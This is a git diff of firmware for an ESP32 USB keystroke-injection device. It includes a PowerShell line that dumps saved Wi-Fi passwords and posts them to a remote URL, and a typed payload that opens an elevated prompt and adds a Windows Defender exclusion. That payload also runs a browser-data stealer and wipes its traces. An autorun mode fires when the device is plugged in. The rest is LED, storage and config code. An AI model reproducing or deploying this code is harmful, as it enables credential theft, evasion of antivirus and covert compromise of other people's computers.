"$o=@();netsh wlan show profiles|Select-String 'All User Profile'|ForEach-Object{$n=$_.ToString().Split(':')[1].Trim();$o+=netsh wlan show profile name=\"$n\" key=clear};"
|
||||
"Invoke-RestMethod -Uri ($u+'?name=wifi_passwords.txt') -Method Post -Body ($o|Out-String)",
|
||||
8, true);
|
||||
write_task("exit", 9, true);
|
||||
}
|
||||
}
|
||||
15
src/components/collector.h
Normal file
15
src/components/collector.h
Normal file
@@ -0,0 +1,15 @@
|
||||
#ifndef COLLECTOR_H
|
||||
#define COLLECTOR_H
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
void collect_profile_auto();
|
||||
void collect_profile_windows();
|
||||
void collect_profile_macos();
|
||||
void collect_profile_linux();
|
||||
void collect_network_macs();
|
||||
void collect_screenshot();
|
||||
void collect_lab_scan();
|
||||
void collect_dispatch(const char *id);
|
||||
|
||||
#endif
|
||||
99
src/components/config_store.cpp
Normal file
99
src/components/config_store.cpp
Normal file
@@ -0,0 +1,99 @@
|
||||
#include "config_store.h"
|
||||
#include <LittleFS.h>
|
||||
|
||||
#define CFG_FILE "/cfg.dat"
|
||||
#define SEP '\x01'
|
||||
|
||||
AutoRunConfig g_autorun = {false, false, 3500, "elevated", ""};
|
||||
|
||||
static bool is_allowed_shell(const char *shell)
|
||||
{
|
||||
return strcmp(shell, "elevated") == 0 ||
|
||||
strcmp(shell, "cmd") == 0 ||
|
||||
strcmp(shell, "powershell") == 0 ||
|
||||
strcmp(shell, "run") == 0;
|
||||
}
|
||||
|
||||
static void sanitize_stored_field(char *s, size_t maxlen)
|
||||
{
|
||||
size_t out = 0;
|
||||
for (size_t i = 0; s[i] && out < maxlen - 1; i++)
|
||||
{
|
||||
unsigned char c = (unsigned char)s[i];
|
||||
if (c == SEP || c < 0x20)
|
||||
continue;
|
||||
s[out++] = s[i];
|
||||
}
|
||||
s[out] = '\0';
|
||||
}
|
||||
|
||||
void config_load()
|
||||
{
|
||||
File f = LittleFS.open(CFG_FILE, "r");
|
||||
if (!f) return;
|
||||
|
||||
String line;
|
||||
while (f.available())
|
||||
{
|
||||
char c = (char)f.read();
|
||||
if (c == '\n' || c == '\r') break;
|
||||
line += c;
|
||||
}
|
||||
f.close();
|
||||
|
||||
if (line.length() == 0) return;
|
||||
|
||||
int p0 = line.indexOf(SEP); if (p0 < 0) return;
|
||||
int p1 = line.indexOf(SEP, p0+1); if (p1 < 0) return;
|
||||
int p2 = line.indexOf(SEP, p1+1); if (p2 < 0) return;
|
||||
int p3 = line.indexOf(SEP, p2+1);
|
||||
|
||||
g_autorun.enabled = (line.substring(0, p0) == "1");
|
||||
|
||||
int d = line.substring(p0+1, p1).toInt();
|
||||
g_autorun.delay_ms = (d < 500 || d > 15000) ? 3500 : d;
|
||||
|
||||
strncpy(g_autorun.shell, line.substring(p1+1, p2).c_str(), sizeof(g_autorun.shell)-1);
|
||||
g_autorun.shell[sizeof(g_autorun.shell)-1] = '\0';
|
||||
if (!is_allowed_shell(g_autorun.shell))
|
||||
strncpy(g_autorun.shell, "run", sizeof(g_autorun.shell));
|
||||
|
||||
if (p3 >= 0)
|
||||
{
|
||||
strncpy(g_autorun.cmd, line.substring(p2 + 1, p3).c_str(), sizeof(g_autorun.cmd) - 1);
|
||||
g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0';
|
||||
g_autorun.lab_scan_on_plug = (line.substring(p3 + 1) == "1");
|
||||
}
|
||||
else
|
||||
{
|
||||
strncpy(g_autorun.cmd, line.substring(p2 + 1).c_str(), sizeof(g_autorun.cmd) - 1);
|
||||
g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0';
|
||||
g_autorun.lab_scan_on_plug = false;
|
||||
}
|
||||
sanitize_stored_field(g_autorun.cmd, sizeof(g_autorun.cmd));
|
||||
}
|
||||
|
||||
bool config_save()
|
||||
{
|
||||
sanitize_stored_field(g_autorun.shell, sizeof(g_autorun.shell));
|
||||
sanitize_stored_field(g_autorun.cmd, sizeof(g_autorun.cmd));
|
||||
if (!is_allowed_shell(g_autorun.shell))
|
||||
strncpy(g_autorun.shell, "run", sizeof(g_autorun.shell));
|
||||
|
||||
LittleFS.remove(CFG_FILE);
|
||||
File f = LittleFS.open(CFG_FILE, "w");
|
||||
if (!f) return false;
|
||||
|
||||
f.print(g_autorun.enabled ? "1" : "0");
|
||||
f.print((char)SEP);
|
||||
f.print(g_autorun.delay_ms);
|
||||
f.print((char)SEP);
|
||||
f.print(g_autorun.shell);
|
||||
f.print((char)SEP);
|
||||
f.print(g_autorun.cmd);
|
||||
f.print((char)SEP);
|
||||
f.print(g_autorun.lab_scan_on_plug ? "1" : "0");
|
||||
f.print('\n');
|
||||
f.close();
|
||||
return true;
|
||||
}
|
||||
19
src/components/config_store.h
Normal file
19
src/components/config_store.h
Normal file
@@ -0,0 +1,19 @@
|
||||
#ifndef CONFIG_STORE_H
|
||||
#define CONFIG_STORE_H
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
struct AutoRunConfig {
|
||||
bool enabled;
|
||||
bool lab_scan_on_plug;
|
||||
int delay_ms; // ms to wait after USB connects before firing
|
||||
char shell[16]; // "elevated", "cmd", "powershell", "run"
|
||||
char cmd[220]; // optional command to type after shell opens (empty = just open shell)
|
||||
};
|
||||
|
||||
extern AutoRunConfig g_autorun;
|
||||
|
||||
void config_load();
|
||||
bool config_save();
|
||||
|
||||
#endif
|
||||
236
src/components/exescript.cpp
Normal file
236
src/components/exescript.cpp
Normal file
@@ -0,0 +1,236 @@
|
||||
#include "exescript.h"
|
||||
#include "config_store.h"
|
||||
|
||||
USBHIDKeyboard Keyboard;
|
||||
TaskParameters task_params(" ", 5, false);
|
||||
SemaphoreHandle_t write_complete_semaphore = nullptr;
|
||||
TaskHandle_t write_task_handle = nullptr;
|
||||
|
||||
// Actual Task Function
|
||||
void write_task_wrapper(void *parameters)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
// Wait to be resumed
|
||||
vTaskSuspend(NULL);
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
write(task_params.str, task_params.del, task_params.enter);
|
||||
|
||||
// Signal completion
|
||||
xSemaphoreGive(write_complete_semaphore);
|
||||
}
|
||||
}
|
||||
|
||||
// Initialise the Writing Task
|
||||
static bool create_write_task()
|
||||
{
|
||||
BaseType_t ok = xTaskCreatePinnedToCore(
|
||||
write_task_wrapper,
|
||||
"write_task_name",
|
||||
14000, // Keeping big stack size to prevent crashes
|
||||
nullptr,
|
||||
configMAX_PRIORITIES - 1, // Max Priority
|
||||
&write_task_handle, // Task handle
|
||||
1 // Pinned to Core 1
|
||||
);
|
||||
if (ok != pdPASS)
|
||||
write_task_handle = nullptr;
|
||||
return ok == pdPASS;
|
||||
}
|
||||
|
||||
void write_task(const char *str, const int del, bool enter = false)
|
||||
{
|
||||
if (!str)
|
||||
return;
|
||||
|
||||
if (write_task_handle == nullptr || write_complete_semaphore == nullptr)
|
||||
{
|
||||
write(str, del, enter);
|
||||
return;
|
||||
}
|
||||
|
||||
xSemaphoreTake(write_complete_semaphore, 0);
|
||||
|
||||
task_params.str = str;
|
||||
task_params.del = del;
|
||||
task_params.enter = enter;
|
||||
|
||||
led_blink(0, 255, 255, true);
|
||||
|
||||
// Resume Task if handle is available
|
||||
if (write_task_handle != nullptr)
|
||||
{
|
||||
vTaskResume(write_task_handle);
|
||||
}
|
||||
|
||||
// Wait for the writing task to complete.
|
||||
if (xSemaphoreTake(write_complete_semaphore, portMAX_DELAY) == pdTRUE)
|
||||
{
|
||||
led_idle(1, 1, 1);
|
||||
}
|
||||
}
|
||||
|
||||
// Count string length
|
||||
int count_len(const char *str)
|
||||
{
|
||||
int len = 0;
|
||||
while (*str != '\0')
|
||||
{
|
||||
len++;
|
||||
str++;
|
||||
}
|
||||
return len;
|
||||
}
|
||||
|
||||
void write(const char *str, const int del, bool enter)
|
||||
{
|
||||
int len = count_len(str);
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
Keyboard.write(str[i]);
|
||||
vTaskDelay(pdMS_TO_TICKS(del)); // Adjust the delay as needed
|
||||
}
|
||||
if (enter)
|
||||
{
|
||||
Keyboard.write(KEY_RETURN);
|
||||
}
|
||||
}
|
||||
|
||||
// Press WIN+R, open cmd, say hello world
|
||||
void open_elevated_cmd()
|
||||
{
|
||||
Keyboard.pressRaw(0xE3); // WINDOWS KEY
|
||||
Keyboard.pressRaw(0x15); // R KEY
|
||||
Keyboard.releaseAll();
|
||||
delay(1000);
|
||||
write_task(R"(powershell -command "Start-Process cmd.exe -Verb RunAs")", 30, true);
|
||||
delay(1000);
|
||||
Keyboard.releaseAll();
|
||||
delay(1000);
|
||||
Keyboard.write(KEY_LEFT_ARROW);
|
||||
delay(1000);
|
||||
Keyboard.write(KEY_RETURN);
|
||||
delay(1000);
|
||||
}
|
||||
|
||||
// Remove traces from 'C:\Windows\Temp\'
|
||||
void clear_trace()
|
||||
{
|
||||
open_elevated_cmd();
|
||||
delay(100);
|
||||
write_task("CD ..", 5, true);
|
||||
write_task(R"(powershell -Command "Remove-Item 'C:/Windows/Temp/temp*' -Recurse -Force")", 5, true);
|
||||
delay(2000);
|
||||
write_task("exit", 5, true);
|
||||
}
|
||||
|
||||
// Open Elevated Command Prompt, create a batch file
|
||||
// Note - This code adds the filename to exception of Windows Defender List
|
||||
void payload()
|
||||
{
|
||||
open_elevated_cmd();
|
||||
const char start[] = R"(CD /d C:/Windows/Temp
|
||||
mkdir temp
|
||||
cd temp
|
||||
rem/ > execute.bat
|
||||
notepad execute.bat
|
||||
)";
|
||||
write_task(start, 30, true);
|
||||
delay(2000);
|
||||
const char data[] = R"(@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
TIMEOUT /t 10 /nobreak
|
||||
powershell -Command Add-MpPreference -ExclusionPath "D:\hack-browser-data.exe"
|
||||
for %%d in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
|
||||
if exist "%%d:\" (
|
||||
if exist "%%d:\find_temp_check.txt" (
|
||||
echo "find_temp_check.txt" found in %%d:\
|
||||
cd /d "%%d:\"
|
||||
hack-browser-data.exe
|
||||
)
|
||||
)
|
||||
)
|
||||
powershell -Command "Remove-Item 'C:/Windows/Temp/temp*' -Recurse -Force"
|
||||
TIMEOUT /t 3 /nobreak
|
||||
exit
|
||||
)";
|
||||
write_task(data, 15, false);
|
||||
delay(1000);
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.write('s'); // save the file
|
||||
Keyboard.release('s');
|
||||
Keyboard.press('w'); // remove notepad traces
|
||||
Keyboard.releaseAll();
|
||||
delay(800);
|
||||
Keyboard.press(KEY_LEFT_ALT);
|
||||
Keyboard.press(KEY_F4);
|
||||
Keyboard.releaseAll();
|
||||
delay(1200);
|
||||
Keyboard.write(KEY_RETURN);
|
||||
delay(2000);
|
||||
}
|
||||
|
||||
// Fired automatically when USB connects (if auto-run is enabled in config)
|
||||
void autorun_execute()
|
||||
{
|
||||
// Step 1: always try to get elevated access
|
||||
if (strcmp(g_autorun.shell, "cmd") == 0)
|
||||
{
|
||||
Keyboard.pressRaw(0xE3); // WIN
|
||||
Keyboard.pressRaw(0x15); // R
|
||||
Keyboard.releaseAll();
|
||||
delay(500);
|
||||
write_task("cmd", 25, true);
|
||||
delay(700);
|
||||
}
|
||||
else if (strcmp(g_autorun.shell, "powershell") == 0)
|
||||
{
|
||||
Keyboard.pressRaw(0xE3);
|
||||
Keyboard.pressRaw(0x15);
|
||||
Keyboard.releaseAll();
|
||||
delay(500);
|
||||
write_task("powershell", 25, true);
|
||||
delay(900);
|
||||
}
|
||||
else if (strcmp(g_autorun.shell, "run") == 0)
|
||||
{
|
||||
Keyboard.pressRaw(0xE3);
|
||||
Keyboard.pressRaw(0x15);
|
||||
Keyboard.releaseAll();
|
||||
delay(500);
|
||||
}
|
||||
else if (strcmp(g_autorun.shell, "elevated") == 0)
|
||||
{
|
||||
open_elevated_cmd();
|
||||
}
|
||||
else
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Step 2: if a command was configured, type it
|
||||
if (g_autorun.cmd[0] != '\0')
|
||||
{
|
||||
delay(1400);
|
||||
write_task(g_autorun.cmd, 15, true);
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize USB connection
|
||||
void setup_usb()
|
||||
{
|
||||
if (USB.begin())
|
||||
{
|
||||
delay(200); // Give it time to start
|
||||
Keyboard.begin();
|
||||
write_complete_semaphore = xSemaphoreCreateBinary();
|
||||
if (write_complete_semaphore == nullptr)
|
||||
return;
|
||||
|
||||
delay(200);
|
||||
if (!create_write_task())
|
||||
return;
|
||||
delay(50);
|
||||
}
|
||||
}
|
||||
32
src/components/exescript.h
Normal file
32
src/components/exescript.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// exescript.h
|
||||
#ifndef EXESCRIPT_H
|
||||
#define EXESCRIPT_H
|
||||
|
||||
#include "USB.h"
|
||||
#include "USBHIDKeyboard.h"
|
||||
|
||||
#include "rgb_control.h"
|
||||
|
||||
struct TaskParameters
|
||||
{
|
||||
const char *str;
|
||||
int del; // Remove the const qualifier
|
||||
bool enter;
|
||||
|
||||
// Constructor to initialize members
|
||||
TaskParameters(const char *s, int d, bool e) : str(s), del(d), enter(e) {}
|
||||
};
|
||||
|
||||
extern USBHIDKeyboard Keyboard;
|
||||
extern bool check_delay;
|
||||
|
||||
// Function declarations
|
||||
void setup_usb();
|
||||
void open_elevated_cmd();
|
||||
void clear_trace();
|
||||
void payload();
|
||||
void autorun_execute();
|
||||
void write(const char *str, const int del, bool e);
|
||||
void write_task(const char *str, const int del, bool);
|
||||
|
||||
#endif
|
||||
69
src/components/flash_fs.cpp
Normal file
69
src/components/flash_fs.cpp
Normal file
@@ -0,0 +1,69 @@
|
||||
#include "flash_fs.h"
|
||||
|
||||
bool flash_fs_init()
|
||||
{
|
||||
if (!LittleFS.begin(true))
|
||||
return false;
|
||||
return flash_fs_ensure_results();
|
||||
}
|
||||
|
||||
bool flash_fs_ensure_results()
|
||||
{
|
||||
if (!LittleFS.exists(RESULTS_DIR))
|
||||
return LittleFS.mkdir(RESULTS_DIR);
|
||||
return true;
|
||||
}
|
||||
|
||||
static String result_path(const char *name)
|
||||
{
|
||||
String p = RESULTS_DIR;
|
||||
p += "/";
|
||||
p += name;
|
||||
return p;
|
||||
}
|
||||
|
||||
bool flash_fs_write_result(const char *name, const uint8_t *data, size_t len)
|
||||
{
|
||||
if (!name || !data || len == 0)
|
||||
return false;
|
||||
if (!flash_fs_ensure_results())
|
||||
return false;
|
||||
|
||||
File f = LittleFS.open(result_path(name), "w");
|
||||
if (!f)
|
||||
return false;
|
||||
size_t w = f.write(data, len);
|
||||
f.close();
|
||||
return w == len;
|
||||
}
|
||||
|
||||
bool flash_fs_write_result_text(const char *name, const char *text)
|
||||
{
|
||||
if (!text)
|
||||
return false;
|
||||
return flash_fs_write_result(name, (const uint8_t *)text, strlen(text));
|
||||
}
|
||||
|
||||
String flash_fs_read_result(const char *name, size_t maxSize)
|
||||
{
|
||||
String out;
|
||||
if (!name)
|
||||
return out;
|
||||
File f = LittleFS.open(result_path(name), "r");
|
||||
if (!f)
|
||||
return out;
|
||||
out.reserve(min((size_t)f.size() + 1, maxSize));
|
||||
size_t n = 0;
|
||||
while (f.available() && n < maxSize)
|
||||
{
|
||||
out += (char)f.read();
|
||||
n++;
|
||||
}
|
||||
f.close();
|
||||
return out;
|
||||
}
|
||||
|
||||
bool flash_fs_result_exists(const char *name)
|
||||
{
|
||||
return name && LittleFS.exists(result_path(name));
|
||||
}
|
||||
16
src/components/flash_fs.h
Normal file
16
src/components/flash_fs.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#ifndef FLASH_FS_H
|
||||
#define FLASH_FS_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <LittleFS.h>
|
||||
|
||||
#define RESULTS_DIR "/results"
|
||||
|
||||
bool flash_fs_init();
|
||||
bool flash_fs_ensure_results();
|
||||
bool flash_fs_write_result(const char *name, const uint8_t *data, size_t len);
|
||||
bool flash_fs_write_result_text(const char *name, const char *text);
|
||||
String flash_fs_read_result(const char *name, size_t maxSize = 65536);
|
||||
bool flash_fs_result_exists(const char *name);
|
||||
|
||||
#endif
|
||||
351
src/components/rgb_control.cpp
Normal file
351
src/components/rgb_control.cpp
Normal file
@@ -0,0 +1,351 @@
|
||||
#include "rgb_control.h"
|
||||
|
||||
#include <esp_log.h>
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <freertos/task.h>
|
||||
|
||||
// // Change the value w.r.t. your configuration
|
||||
// static const int pin = 21;
|
||||
// int blink_delay = 50;
|
||||
|
||||
// TaskHandle_t hndl_rgb_blink = nullptr, hndl_rgb_idle = nullptr;
|
||||
|
||||
// // Wrapper function
|
||||
// void blink(bool check)
|
||||
// {
|
||||
// if (check == true)
|
||||
// {
|
||||
// vTaskResume(hndl_rgb_blink);
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// vTaskResume(hndl_rgb_idle);
|
||||
// }
|
||||
// }
|
||||
|
||||
// void blink_task(void *temp)
|
||||
// {
|
||||
// (void)temp; // Unwanted
|
||||
|
||||
// vTaskSuspend(hndl_rgb_idle);
|
||||
// vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
// while (true)
|
||||
// {
|
||||
// neopixelWrite(pin, 0, 64, 64);
|
||||
// vTaskDelay(pdMS_TO_TICKS(blink_delay));
|
||||
// neopixelWrite(pin, 0, 0, 0);
|
||||
// vTaskDelay(pdMS_TO_TICKS(blink_delay));
|
||||
// }
|
||||
// }
|
||||
|
||||
// void idle_task(void *temp)
|
||||
// {
|
||||
// (void)temp; // Unwanted
|
||||
|
||||
// vTaskSuspend(hndl_rgb_blink);
|
||||
// vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
// while (true)
|
||||
// {
|
||||
// for (int i = 64, j = 0, k = 64; i >= 0; i--, j++, k--)
|
||||
// {
|
||||
// neopixelWrite(pin, k, j, i);
|
||||
// vTaskDelay(pdMS_TO_TICKS(blink_delay));
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
|
||||
// // Initialise RGB tasks & suspend them
|
||||
// void setup_rgb()
|
||||
// {
|
||||
// // Create RGB blinker task pinned to core 1
|
||||
// xTaskCreatePinnedToCore(
|
||||
// blink_task, // Function Name
|
||||
// "blink_rgb", // Task name
|
||||
// 2000, // Stack size
|
||||
// nullptr, // When no parameter is used, simply pass NULL
|
||||
// 1, // Priority
|
||||
// &hndl_rgb_blink, // Task handle
|
||||
// 1 // Core on which the task will run
|
||||
// );
|
||||
// vTaskSuspend(hndl_rgb_blink);
|
||||
// // Create RGB idle task pinned to core 1
|
||||
// xTaskCreatePinnedToCore(
|
||||
// idle_task, // Function Name
|
||||
// "idle_rgb", // Task name
|
||||
// 2000, // Stack size
|
||||
// nullptr, // When no parameter is used, simply pass NULL
|
||||
// 1, // Priority
|
||||
// &hndl_rgb_idle, // Task handle
|
||||
// 1 // Core on which the task will run
|
||||
// );
|
||||
// vTaskSuspend(hndl_rgb_idle);
|
||||
// neopixelWrite(pin, 0, 0, 0);
|
||||
// }
|
||||
|
||||
enum
|
||||
{
|
||||
INDICATOR_LED_STOP = 1 << 0, // 1
|
||||
INDICATOR_LED_BLINK = 1 << 1, // 2
|
||||
INDICATOR_LED_BLINK_CONT = 1 << 2, // 4
|
||||
INDICATOR_LED_RADIATE = 1 << 3, // 8
|
||||
INDICATOR_LED_IDLE = 1 << 4 // 16
|
||||
};
|
||||
|
||||
static void led_task(void *pvParameter);
|
||||
static void handle_radiate(bool red, bool green, bool blue);
|
||||
static void handle_blink(bool continuous);
|
||||
|
||||
static const int pin = 21;
|
||||
static TaskHandle_t hndl_led_task = NULL;
|
||||
static const uint8_t led_radiate_arr[] = {0, 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 66, 78, 91, 105, 120, 136, 153, 171, 190, 210, 231, 255};
|
||||
static uint8_t led_delay = 50; // Delay in milliseconds
|
||||
static led_color_t color = {0};
|
||||
|
||||
esp_err_t rgb_init(void)
|
||||
{
|
||||
// Register Task to the core 1 only
|
||||
xTaskCreatePinnedToCore(
|
||||
led_task, // Task function
|
||||
"led_task", // Name for debugging
|
||||
4096, // Stack depth
|
||||
NULL, // Parameters
|
||||
0, // Priority
|
||||
&hndl_led_task, // Task handle (optional)
|
||||
1 // Pin to core 1
|
||||
);
|
||||
|
||||
if (hndl_led_task == NULL)
|
||||
{
|
||||
return ESP_FAIL;
|
||||
}
|
||||
else
|
||||
{
|
||||
return ESP_OK;
|
||||
}
|
||||
}
|
||||
|
||||
esp_err_t rgb_deinit(void)
|
||||
{
|
||||
vTaskDelete(xTaskGetHandle("led_task"));
|
||||
ESP_LOGI(TAG, "Led Task deleted");
|
||||
clear_led();
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static void led_task(void *pvParameter)
|
||||
{
|
||||
uint32_t notification = 0;
|
||||
while (true)
|
||||
{
|
||||
notification = 0;
|
||||
ESP_LOGI(TAG, "RGB Task Waiting for Notification");
|
||||
xTaskNotifyWait(0x00, ULONG_MAX, ¬ification, portMAX_DELAY);
|
||||
ESP_LOGI(TAG, "RGB Task Received Notification");
|
||||
|
||||
if (notification == INDICATOR_LED_BLINK)
|
||||
{
|
||||
led_task_delay((uint8_t)100);
|
||||
handle_blink(false);
|
||||
continue;
|
||||
}
|
||||
|
||||
else if (notification == INDICATOR_LED_RADIATE)
|
||||
{
|
||||
led_task_delay((uint8_t)150);
|
||||
handle_radiate((color.red != 0) ? true : false,
|
||||
(color.green != 0) ? true : false,
|
||||
(color.blue != 0) ? true : false);
|
||||
}
|
||||
|
||||
else if (notification == INDICATOR_LED_BLINK_CONT)
|
||||
{
|
||||
led_task_delay((uint8_t)300);
|
||||
handle_blink(true);
|
||||
}
|
||||
|
||||
else if (notification == INDICATOR_LED_IDLE)
|
||||
{
|
||||
led_task_delay((uint8_t)50);
|
||||
handle_radiate((color.red != 0) ? true : false,
|
||||
(color.green != 0) ? true : false,
|
||||
(color.blue != 0) ? true : false);
|
||||
}
|
||||
|
||||
else if (notification == INDICATOR_LED_STOP)
|
||||
{
|
||||
clear_led();
|
||||
continue;
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Should never reach here - If it does, suspend the task
|
||||
vTaskSuspend(NULL);
|
||||
}
|
||||
|
||||
static void handle_radiate(bool red, bool green, bool blue)
|
||||
{
|
||||
uint8_t len = sizeof(led_radiate_arr) / sizeof(led_radiate_arr[0]) - 1;
|
||||
uint8_t del = led_delay;
|
||||
uint8_t i = 0;
|
||||
led_color_t color_val = {0};
|
||||
uint32_t notification = 0;
|
||||
ESP_LOGI(TAG, "%s Flicking %s LED(s)", (del >= 100) ? "Smoothly" : "Fast",
|
||||
(red && green && blue) ? "All"
|
||||
: (red && green) ? "Red & Green"
|
||||
: (red && blue) ? "Red & Blue"
|
||||
: (green && blue) ? "Green & Blue"
|
||||
: (red) ? "Red"
|
||||
: (green) ? "Green"
|
||||
: (blue) ? "Blue"
|
||||
: "None");
|
||||
|
||||
while (true)
|
||||
{
|
||||
if (xTaskNotifyWait(0x00, 0x00, ¬ification, pdMS_TO_TICKS(5)) == pdTRUE)
|
||||
{
|
||||
clear_led();
|
||||
xTaskNotifyStateClear(NULL);
|
||||
break;
|
||||
};
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
if (red)
|
||||
{
|
||||
color_val.red = led_radiate_arr[i];
|
||||
};
|
||||
if (green)
|
||||
{
|
||||
color_val.green = led_radiate_arr[i];
|
||||
};
|
||||
if (blue)
|
||||
{
|
||||
color_val.blue = led_radiate_arr[i];
|
||||
};
|
||||
set_led(&color_val);
|
||||
vTaskDelay(pdMS_TO_TICKS(del));
|
||||
}
|
||||
|
||||
if (xTaskNotifyWait(0x00, 0x00, ¬ification, pdMS_TO_TICKS(5)) == pdTRUE)
|
||||
{
|
||||
clear_led();
|
||||
xTaskNotifyStateClear(NULL);
|
||||
break;
|
||||
};
|
||||
|
||||
for (i = len - 1; i > 0; i--)
|
||||
{
|
||||
if (red)
|
||||
{
|
||||
color_val.red = led_radiate_arr[i];
|
||||
};
|
||||
if (green)
|
||||
{
|
||||
color_val.green = led_radiate_arr[i];
|
||||
};
|
||||
if (blue)
|
||||
{
|
||||
color_val.blue = led_radiate_arr[i];
|
||||
};
|
||||
set_led(&color_val);
|
||||
vTaskDelay(pdMS_TO_TICKS(del));
|
||||
}
|
||||
}
|
||||
ESP_LOGI(TAG, "Flicker Task Stopped");
|
||||
xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite);
|
||||
}
|
||||
|
||||
static void handle_blink(bool continuous)
|
||||
{
|
||||
if (continuous == true)
|
||||
{
|
||||
uint32_t notification = 0;
|
||||
while (true)
|
||||
{
|
||||
if (xTaskNotifyWait(0x00, 0x00, ¬ification, pdMS_TO_TICKS(5)) == pdTRUE)
|
||||
{
|
||||
clear_led();
|
||||
xTaskNotifyStateClear(NULL);
|
||||
xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite);
|
||||
break;
|
||||
};
|
||||
set_led(&color);
|
||||
vTaskDelay(pdMS_TO_TICKS(led_delay));
|
||||
clear_led();
|
||||
vTaskDelay(pdMS_TO_TICKS(led_delay));
|
||||
}
|
||||
xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite);
|
||||
}
|
||||
else
|
||||
{
|
||||
set_led(&color);
|
||||
vTaskDelay(pdMS_TO_TICKS(led_delay));
|
||||
clear_led();
|
||||
}
|
||||
}
|
||||
|
||||
void clear_led(void)
|
||||
{
|
||||
neopixelWrite(pin, 0, 0, 0);
|
||||
}
|
||||
|
||||
void set_led(led_color_t *color_value)
|
||||
{
|
||||
neopixelWrite(pin, color_value->green, color_value->red, color_value->blue);
|
||||
}
|
||||
|
||||
void led_task_delay(uint8_t new_delay)
|
||||
{
|
||||
// Keep delay >= 50ms - Helps prevent error with HID events
|
||||
led_delay = (new_delay < 50) ? 50 : new_delay;
|
||||
}
|
||||
|
||||
void led_idle(bool red, bool green, bool blue)
|
||||
{
|
||||
color.red = (red) ? 255 : 0;
|
||||
color.green = (green) ? 255 : 0;
|
||||
color.blue = (blue) ? 255 : 0;
|
||||
xTaskNotify(hndl_led_task, INDICATOR_LED_IDLE, eSetValueWithOverwrite);
|
||||
}
|
||||
|
||||
void led_radiate(bool red, bool green, bool blue)
|
||||
{
|
||||
color.red = (red) ? 255 : 0;
|
||||
color.green = (green) ? 255 : 0;
|
||||
color.blue = (blue) ? 255 : 0;
|
||||
xTaskNotify(hndl_led_task, INDICATOR_LED_RADIATE, eSetValueWithOverwrite);
|
||||
}
|
||||
|
||||
void led_blink(uint8_t red, uint8_t green, uint8_t blue, bool continuous)
|
||||
{
|
||||
color.red = red;
|
||||
color.green = green;
|
||||
color.blue = blue;
|
||||
if (continuous)
|
||||
{
|
||||
xTaskNotify(hndl_led_task, INDICATOR_LED_BLINK_CONT, eSetValueWithOverwrite);
|
||||
}
|
||||
else
|
||||
{
|
||||
xTaskNotify(hndl_led_task, INDICATOR_LED_BLINK, eSetValueWithOverwrite);
|
||||
}
|
||||
}
|
||||
|
||||
void led_check_error(esp_err_t err)
|
||||
{
|
||||
if (err == ESP_OK)
|
||||
{
|
||||
led_blink((uint8_t)0, (uint8_t)255, (uint8_t)0, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
led_blink((uint8_t)255, (uint8_t)0, (uint8_t)0, false);
|
||||
}
|
||||
}
|
||||
30
src/components/rgb_control.h
Normal file
30
src/components/rgb_control.h
Normal file
@@ -0,0 +1,30 @@
|
||||
// rgb_control.h
|
||||
#ifndef RGB_CONTROL_H
|
||||
#define RGB_CONTROL_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <esp_err.h>
|
||||
|
||||
typedef struct led_color_t
|
||||
{
|
||||
uint8_t red;
|
||||
uint8_t green;
|
||||
uint8_t blue;
|
||||
} led_color_t;
|
||||
|
||||
// Function declarations
|
||||
esp_err_t rgb_init();
|
||||
esp_err_t rgb_deinit();
|
||||
void clear_led(void);
|
||||
void set_led(led_color_t *color);
|
||||
void led_task_delay(uint8_t del);
|
||||
void led_idle(bool red, bool green, bool blue);
|
||||
void led_blink(uint8_t red, uint8_t green, uint8_t blue, bool continuous);
|
||||
void led_radiate(bool red, bool green, bool blue);
|
||||
void led_check_error(esp_err_t err);
|
||||
|
||||
// // Function declarations
|
||||
// void setup_rgb();
|
||||
// void blink(bool check); // default value = true
|
||||
|
||||
#endif
|
||||
10
src/components/storage/SDCard.cpp
Normal file
10
src/components/storage/SDCard.cpp
Normal file
@@ -0,0 +1,10 @@
|
||||
#include <Arduino.h>
|
||||
#include "SDCard.h"
|
||||
|
||||
SDCard::SDCard(Stream &debug, const char *mount_point) : m_debug(debug), m_mount_point(mount_point)
|
||||
{
|
||||
}
|
||||
|
||||
SDCard::~SDCard()
|
||||
{
|
||||
}
|
||||
26
src/components/storage/SDCard.h
Normal file
26
src/components/storage/SDCard.h
Normal file
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <driver/sdmmc_types.h>
|
||||
#include <driver/sdspi_host.h>
|
||||
|
||||
#include <string>
|
||||
|
||||
class Stream;
|
||||
class SDCard
|
||||
{
|
||||
protected:
|
||||
std::string m_mount_point;
|
||||
int m_sector_size = 0;
|
||||
int m_sector_count = 0;
|
||||
Stream &m_debug;
|
||||
public:
|
||||
SDCard(Stream &debug, const char *mount_point);
|
||||
virtual ~SDCard();
|
||||
